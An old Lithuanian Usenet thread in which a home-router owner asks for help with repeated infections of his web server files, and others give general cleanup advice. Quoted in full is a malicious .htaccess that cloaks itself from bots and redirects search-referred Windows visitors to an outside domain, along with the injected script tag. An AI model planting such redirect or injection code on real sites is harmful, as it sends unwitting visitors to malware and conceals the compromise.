Siaip sakau googlint bandyt gali, as taip karta apie kazkoki panasu virusa gan daug issiaiskinau, pagooglinau kenkejiskus kodo gabalus ir si ta rado kur zmones ji aptarinejo ir pan... 

    Siaip gerai nesupratau kas ten pas tave darosi, kas tas routeriukas ? tipo hardwarine dezute ar koks linuxas? paprastai greiciausiai pirmoj eileje WRITE teises turi kam nereik jei gali kazka modifikuoti, kitas dalykas gal loginima koki inkalt kas ka keicia kokius failus. 

    Na o tokie dalykai nezinau kaip pas tave, bet buna isgadint sugeba visa web puslapi pakeisdami failus ir idedami i juos savu SUXX'a paprastai suveikia per visokius skriptus nebutinai PHP ar net PDF (dabar uzstrigo kaip anie tiksliai vadinami, kokiu trumpiniu)...

JDM.

"AndriuZ" <krachui@yahoo.com> wrote in message news:jganbn$ibs$1@trimpas.omnitel.net...
> nu gali buti kad jame nieko blogo ttiesiog kur ieskoti slieku? tai kad 
> pratrinsiu visus irashus kenkejiskus tai labai trumpalaikis sprendimas
> 
> 
> "Lavonas"  parašė naujienų news:jg92ti$onf$1@trimpas.omnitel.net...
> 
> Ash sitame loge nieko blogo nematau.
> 
> 
> "AndriuZ" <krachui@yahoo.com> wrote in message
> news:jg8tq9$h2m$1@trimpas.omnitel.net...
>> na realiai tai cia http://www.......
>> adresiukas kuris kaskarta vis kitosk kaikuriuose fialuose tokiu intarpu su 
>> skirtingais adresais niolika ...
>> plius kiek ziuriu htaccess failiukas irgi sparciai dauginasi ... :( ar 
>> negali buti tai susije
>>
>> o jo turinys:
>>
>> <IfModule prefork.c>
>> RewriteEngine On
>> RewriteCond %{REQUEST_METHOD}   ^GET$
>> RewriteCond %{HTTP_REFERER} 
>> ^(http\:\/\/)?([^\/\?]*\.)?(wordpress|twit|tweet|flickr\.|linkedin|google\.|yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|metacrawler\.|mail\.|dogpile\?).*$ 
>> [NC]
>> RewriteCond %{HTTP_REFERER}     !^.*(imgres\?q).*$   [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ 
>> [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
>> RewriteCond %{HTTP_USER_AGENT} 
>> !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
>> RewriteCond %{REQUEST_FILENAME} 
>> !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
>> RewriteCond %{HTTP_COOKIE}      !^.*dcF.*$ [NC]
>> RewriteCond %{HTTP_USER_AGENT}  .*Windows.* [NC]
>> RewriteCond %{HTTPS}            ^off$
>> RewriteRule ^(.*)$ 
>> http://%{REMOTE_PORT}.thebandradioflyer.com/url?sa=N&source=web&cd=39&ved=03rksCGjr&url=http://%{HTTP_HOST}%{REQUEST_URI}&ei=2ZUrfqzM4qm0q42Pz1cx95W+&usg=xsb3LrMoil6inMBghuy53E&sig2=hjx1EaWIi0SP0JNBDfGWf9 
>> [R=302,L,CO=dcF:31:%{HTTP_HOST}:10480:/:0:HttpOnly]
>> </IfModule>
>> #619f6ad2f0dc76923899b355dcec5a5217324973a645dd835ab78463
>>
>>
>> "John Smith"  parašė naujienų news:jg8s9j$ef6$1@trimpas.omnitel.net...
>>
>> idek  nnnn.mltools.js turini
>> "AndriuZ" <krachui@yahoo.com> wrote in message
>> news:jg8q4s$age$1@trimpas.omnitel.net...
>>> Sveiki
>>> pastebejua paskutiniu metu kad mano ant routeriuko (ASUS WL500GP V2 su 
>>> oleg firmwaru) esanciam html serveriuke,  pastoviai visi index failiukai 
>>> buna pakoreguoti prirashant
>>> <script type="text/javascript" src="nnnn.mltools.js"></script>  intarbu 
>>> iskart po body ...
>>>
>>> kaip ir kur ziureti nes istrynus ranka jie dauginasi kaip triusiai :(
>>>
>>> AndriuZ
>>
>